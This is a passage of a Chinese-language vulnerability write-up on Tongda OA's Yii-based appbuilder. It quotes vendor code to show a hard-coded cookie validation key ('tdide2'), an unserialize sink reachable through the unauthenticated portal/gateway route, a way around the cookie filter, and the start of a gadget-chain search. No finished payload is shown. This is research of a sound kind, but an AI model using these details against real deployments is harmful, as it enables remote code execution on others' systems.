break-all;">true</p>，就会调用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">getCookies</p>方法。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_cookies</p>可控，从而调用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;loadCookies()</p>。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">loadCookies</p>方法中<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;cookieValidationKey</p>根据手册开启csrf校验该密钥可以在yii web配置里查看。通达oa中yii的web配置文件是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">general/appbuilder/config/web.php</p>，在这里面可以看到固定密码为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">tdide2</p>。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">protected</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">loadCsrfToken</span><span style="line-height: 26px;">()</span>    </span>{        <span style="color: #5c6370;font-style: italic;line-height: 26px;">//默认或可设置$enableCsrfCookie = true</span>        <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;enableCsrfCookie) {            <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;getCookies()-&gt;getValue(<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;csrfParam);        }        <span style="color: #c678dd;line-height: 26px;">return</span> Yii::$app-&gt;getSession()-&gt;get(<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;csrfParam);    }<span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">getCookies</span><span style="line-height: 26px;">()</span>    </span>{        <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_cookies === <span style="color: #c678dd;line-height: 26px;">null</span>) {            <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_cookies = <span style="color: #c678dd;line-height: 26px;">new</span> CookieCollection(<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;loadCookies(), [                <span style="color: #98c379;line-height: 26px;">&#39;readOnly&#39;</span> =&gt; <span style="color: #c678dd;line-height: 26px;">true</span>,            ]);        }        <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;_cookies;    }<span style="color: #c678dd;line-height: 26px;">protected</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">loadCookies</span><span style="line-height: 26px;">()</span>    </span>{        $cookies = [];        <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;enableCookieValidation) {            <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;cookieValidationKey == <span style="color: #98c379;line-height: 26px;">&#39;&#39;</span>) {                <span style="color: #c678dd;line-height: 26px;">throw</span> <span style="color: #c678dd;line-height: 26px;">new</span> InvalidConfigException(get_class(<span style="color: #c678dd;line-height: 26px;">$this</span>) . <span style="color: #98c379;line-height: 26px;">&#39;::cookieValidationKey must be configured with a secret key.&#39;</span>);            }            <span style="color: #c678dd;line-height: 26px;">foreach</span> ($_COOKIE <span style="color: #c678dd;line-height: 26px;">as</span> $name =&gt; $value) {                <span style="color: #c678dd;line-height: 26px;">if</span> (!is_string($value)) {                    <span style="color: #c678dd;line-height: 26px;">continue</span>;                }              <span style="color: #5c6370;font-style: italic;line-height: 26px;">//$this-&gt;cookieValidationKey = &#39;tdide2&#39;</span>                $data = Yii::$app-&gt;getSecurity()-&gt;validateData($value, <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;cookieValidationKey);                <span style="color: #c678dd;line-height: 26px;">if</span> ($data === <span style="color: #c678dd;line-height: 26px;">false</span>) {                    <span style="color: #c678dd;line-height: 26px;">continue</span>;                }              <span style="color: #5c6370;font-style: italic;line-height: 26px;">// 反序列化点</span>                $data = @unserialize($data);                <span style="color: #c678dd;line-height: 26px;">if</span> (is_array($data) &amp;&amp; <span style="color: #c678dd;line-height: 26px;">isset</span>($data[<span style="color: #d19a66;line-height: 26px;">0</span>], $data[<span style="color: #d19a66;line-height: 26px;">1</span>]) &amp;&amp; $data[<span style="color: #d19a66;line-height: 26px;">0</span>] === $name) {                    $cookies[$name] = Yii::createObject([                        <span style="color: #98c379;line-height: 26px;">&#39;class&#39;</span> =&gt; <span style="color: #98c379;line-height: 26px;">&#39;yii\web\Cookie&#39;</span>,                        <span style="color: #98c379;line-height: 26px;">&#39;name&#39;</span> =&gt; $name,                        <span style="color: #98c379;line-height: 26px;">&#39;value&#39;</span> =&gt; $data[<span style="color: #d19a66;line-height: 26px;">1</span>],                        <span style="color: #98c379;line-height: 26px;">&#39;expire&#39;</span> =&gt; <span style="color: #c678dd;line-height: 26px;">null</span>,                    ]);                }            }        ......</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">回到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">loadCookies</p>中，对<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$_COOKIE</p>循环遍历并对cookie中每个字段的值用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Yii::$app-&gt;getSecurity()-&gt;validateData()</p>校验，校验csrf token值无问题后对其进行反序列化。</div><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">跟进发现是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii/base/Security</p>的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">validataData</p>方法。该方法校验思路是比对cookie的csrf token中传入的hash和代码中重新计算的hash是否一致。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">hash_hmac</p>设置的是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sha256</p>位的hash计算模式，因此每次传入csrf token都要计算对应的hash值。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">function</span> <span style="color: #61aeee;line-height: 26px;">validateData</span><span style="line-height: 26px;">($data, $key, $rawHash = false)</span>    </span>{        <span style="color: #5c6370;font-style: italic;line-height: 26px;">//$this-&gt;macHash = sha256</span>        $test = @hash_hmac(<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;macHash, <span style="color: #98c379;line-height: 26px;">&#39;&#39;</span>, <span style="color: #98c379;line-height: 26px;">&#39;&#39;</span>, $rawHash);        <span style="color: #c678dd;line-height: 26px;">if</span> (!$test) {            <span style="color: #c678dd;line-height: 26px;">throw</span> <span style="color: #c678dd;line-height: 26px;">new</span> InvalidConfigException(<span style="color: #98c379;line-height: 26px;">&#39;Failed to generate HMAC with hash algorithm: &#39;</span> . <span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;macHash);        }        $hashLength = StringHelper::byteLength($test);        <span style="color: #c678dd;line-height: 26px;">if</span> (StringHelper::byteLength($data) &gt;= $hashLength) {            $hash = StringHelper::byteSubstr($data, <span style="color: #d19a66;line-height: 26px;">0</span>, $hashLength);            $pureData = StringHelper::byteSubstr($data, $hashLength, <span style="color: #c678dd;line-height: 26px;">null</span>);            <span style="color: #5c6370;font-style: italic;line-height: 26px;">//hash_mac(&#39;sha256&#39;,$pureData,&#39;tdide2&#39;,false)</span>            $calculatedHash = hash_hmac(<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;macHash, $pureData, $key, $rawHash);            <span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;compareString($hash, $calculatedHash)) {                <span style="color: #c678dd;line-height: 26px;">return</span> $pureData;            }        }        <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">false</span>;    }</p></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;">2.通达OA调用csrfMetaTags的地方</h3><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">分析完了反序列化unserialize的触发点，但还要找到调用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">csrfMetaTags</p>方法的地方。由于<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii/web/Request::csrfMetaTags</p>是生成html页面meta标签的csrf token，因此调用的地方一般在html模版或者写页面的方法中。全局搜索，在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">general/appbuilder/views/layouts/main.php</p>中有调用该方法。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">&lt;?php</span><span style="color: #c678dd;line-height: 26px;">$this</span>-&gt;beginPage();<span style="color: #c678dd;line-height: 26px;">echo</span> <span style="color: #98c379;line-height: 26px;">&#34;&lt;!DOCTYPE html&gt;\n&lt;html lang=\&#34;&#34;</span>;<span style="color: #c678dd;line-height: 26px;">echo</span> Yii::$app-&gt;language;<span style="color: #c678dd;line-height: 26px;">echo</span> <span style="color: #98c379;line-height: 26px;">&#34;\&#34;&gt;\n&lt;head&gt;\n    &lt;meta charset=\&#34;&#34;</span>;<span style="color: #c678dd;line-height: 26px;">echo</span> Yii::$app-&gt;charset;<span style="color: #c678dd;line-height: 26px;">echo</span> <span style="color: #98c379;line-height: 26px;">&#34;\&#34;&gt;\n    &lt;meta name=\&#34;viewport\&#34; content=\&#34;width=device-width, initial-scale=1\&#34;&gt;\n    &#34;</span>;<span style="color: #c678dd;line-height: 26px;">echo</span> yii\helpers\Html::csrfMetaTags();<span style="color: #c678dd;line-height: 26px;">echo</span> <span style="color: #98c379;line-height: 26px;">&#34;    &lt;title&gt;&#34;</span>;......</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">查看<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/general/appbuilder/</p>目录结构发现<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">general/appbuilder/views/</p>是yii框架写的模板主页面。只要调用了该路由下的方法就能触发模板渲染。</div><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">根据手册，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">general/appbuilder/config/params.php</p>是配置框架参数的，其中<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">skip_module</p>是配置不进行鉴权的模块，其中就有<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">portal</p>门户模块。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;">&lt;?php</span><span style="color: #c678dd;line-height: 26px;">include_once</span> <span style="color: #98c379;line-height: 26px;">&#34;inc/td_config.php&#34;</span>;$arr_mysql_server = explode(<span style="color: #98c379;line-height: 26px;">&#34;:&#34;</span>, TD::$_arr_db_master[<span style="color: #98c379;line-height: 26px;">&#34;host&#34;</span>]);<span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">array</span>(...... <span style="color: #98c379;line-height: 26px;">&#34;skip_module&#34;</span>           =&gt; <span style="color: #c678dd;line-height: 26px;">array</span>(<span style="color: #98c379;line-height: 26px;">&#34;portal&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;hr&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;meeting&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;formCenter&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;calendar&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;officeproduct&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;invoice&#34;</span>),</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">同时<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">general/appbuilder/web/index.php</p>是yii路由入口，获取请求路径后以问号为分隔符substr分割路径和uri参数。<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">portal</p>模块下不是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin</p>的话会直接跳转到<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">index.php</p>，从而可以触发<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">general/appbuilder/views/layouts/main.php</p>模板。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">...... <span style="color: #c678dd;line-height: 26px;">else</span> {  $url = $_SERVER[<span style="color: #98c379;line-height: 26px;">&#34;REQUEST_URI&#34;</span>]; <span style="color: #5c6370;font-style: italic;line-height: 26px;">//获取路径</span>  $strurl = substr($url, <span style="color: #d19a66;line-height: 26px;">0</span>, strpos($url, <span style="color: #98c379;line-height: 26px;">&#34;?&#34;</span>)); <span style="color: #5c6370;font-style: italic;line-height: 26px;">//分割路径和uri参数</span>  <span style="color: #c678dd;line-height: 26px;">if</span> (strpos($strurl, <span style="color: #98c379;line-height: 26px;">&#34;/portal/&#34;</span>) !== <span style="color: #c678dd;line-height: 26px;">false</span>) {   <span style="color: #c678dd;line-height: 26px;">if</span> (strpos($strurl, <span style="color: #98c379;line-height: 26px;">&#34;/gateway/&#34;</span>) === <span style="color: #c678dd;line-height: 26px;">false</span>) {    header(<span style="color: #98c379;line-height: 26px;">&#34;Location:/index.php&#34;</span>);    sess_close();    <span style="color: #c678dd;line-height: 26px;">exit</span>();   }   <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (strpos($strurl, <span style="color: #98c379;line-height: 26px;">&#34;/gateway/saveportal&#34;</span>) !== <span style="color: #c678dd;line-height: 26px;">false</span>) {    header(<span style="color: #98c379;line-height: 26px;">&#34;Location:/index.php&#34;</span>);    sess_close();    <span style="color: #c678dd;line-height: 26px;">exit</span>();   }   <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (strpos($url, <span style="color: #98c379;line-height: 26px;">&#34;edit&#34;</span>) !== <span style="color: #c678dd;line-height: 26px;">false</span>) {    header(<span style="color: #98c379;line-height: 26px;">&#34;Location:/index.php&#34;</span>);    sess_close();    <span style="color: #c678dd;line-height: 26px;">exit</span>();   }   <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (strpos($url, <span style="color: #98c379;line-height: 26px;">&#34;uploadfile&#34;</span>) !== <span style="color: #c678dd;line-height: 26px;">false</span>) {    header(<span style="color: #98c379;line-height: 26px;">&#34;Location:/index.php&#34;</span>);    sess_close();    <span style="color: #c678dd;line-height: 26px;">exit</span>();   }   <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (strpos($url, <span style="color: #98c379;line-height: 26px;">&#34;uploadportalfile&#34;</span>) !== <span style="color: #c678dd;line-height: 26px;">false</span>) {    header(<span style="color: #98c379;line-height: 26px;">&#34;Location:/index.php&#34;</span>);    sess_close();    <span style="color: #c678dd;line-height: 26px;">exit</span>();   }   <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (strpos($url, <span style="color: #98c379;line-height: 26px;">&#34;uploadpicture&#34;</span>) !== <span style="color: #c678dd;line-height: 26px;">false</span>) {    header(<span style="color: #98c379;line-height: 26px;">&#34;Location:/index.php&#34;</span>);    sess_close();    <span style="color: #c678dd;line-height: 26px;">exit</span>();   }   <span style="color: #c678dd;line-height: 26px;">else</span> <span style="color: #c678dd;line-height: 26px;">if</span> (strpos($url, <span style="color: #98c379;line-height: 26px;">&#34;dologin&#34;</span>) !== <span style="color: #c678dd;line-height: 26px;">false</span>) {    header(<span style="color: #98c379;line-height: 26px;">&#34;Location:/index.php&#34;</span>);    sess_close();    <span style="color: #c678dd;line-height: 26px;">exit</span>();   }  }    ......</p></pre><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因此，触发漏洞的路由是<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">/general/appbuilder/portal/gateway/?</p>。</div><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">inc/common.inc.php</p>可以看到通达OA有全局的addslashes过滤，对Cookie中过滤。传入payload的时候将<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">_csrf</p>改为<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">_GET、_POST</p>等就可以绕过。</div><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><p style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">if</span> (<span style="color: #d19a66;line-height: 26px;">0</span> &lt; count($_COOKIE)) {  <span style="color: #c678dd;line-height: 26px;">foreach</span> ($_COOKIE <span style="color: #c678dd;line-height: 26px;">as</span> $s_key =&gt; $s_value ) {    <span style="color: #c678dd;line-height: 26px;">if</span> ((substr($s_key, <span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #d19a66;line-height: 26px;">7</span>) == <span style="color: #98c379;line-height: 26px;">&#34;_SERVER&#34;</span>) || (substr($s_key, <span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #d19a66;line-height: 26px;">8</span>) == <span style="color: #98c379;line-height: 26px;">&#34;_SESSION&#34;</span>) || (substr($s_key, <span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #d19a66;line-height: 26px;">7</span>) == <span style="color: #98c379;line-height: 26px;">&#34;_COOKIE&#34;</span>) || (substr($s_key, <span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #d19a66;line-height: 26px;">4</span>) == <span style="color: #98c379;line-height: 26px;">&#34;_GET&#34;</span>) || (substr($s_key, <span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #d19a66;line-height: 26px;">5</span>) == <span style="color: #98c379;line-height: 26px;">&#34;_POST&#34;</span>) || (substr($s_key, <span style="color: #d19a66;line-height: 26px;">0</span>, <span style="color: #d19a66;line-height: 26px;">6</span>) == <span style="color: #98c379;line-height: 26px;">&#34;_FILES&#34;</span>)) {      <span style="color: #c678dd;line-height: 26px;">continue</span>;    }    <span style="color: #c678dd;line-height: 26px;">if</span> (!is_array($s_value)) {      $_COOKIE[$s_key] = addslashes(strip_tags($s_value));    }    $s_key = $_COOKIE[$s_key];  }  reset($_COOKIE);}</p></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;">3.yii 反序列化链</h3><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">yii常见的反序列化起点是利用<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii\db\BatchQueryResult</p>的。<strong>其中</strong><strong style="color: black;">yii框架POP1链条</strong><strong>差不多如下：</strong><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">**yii\db\BatchQueryResult-Faker\Generator-yii\rest\CreateAction**</p><strong>，但是通达oa里并没有用</strong><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">**Faker\Generator**</p><strong>，而且好多yii反序列化链涉及的类都通达oa都没有，因此这里需要重新找一条链。</strong></div><div data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">yii\db\BatchQueryResult</p>的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">__destruct</p>调用的<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">reset</p>方法，其中<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">$this-&gt;_dataReader</p>可控，<p style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, 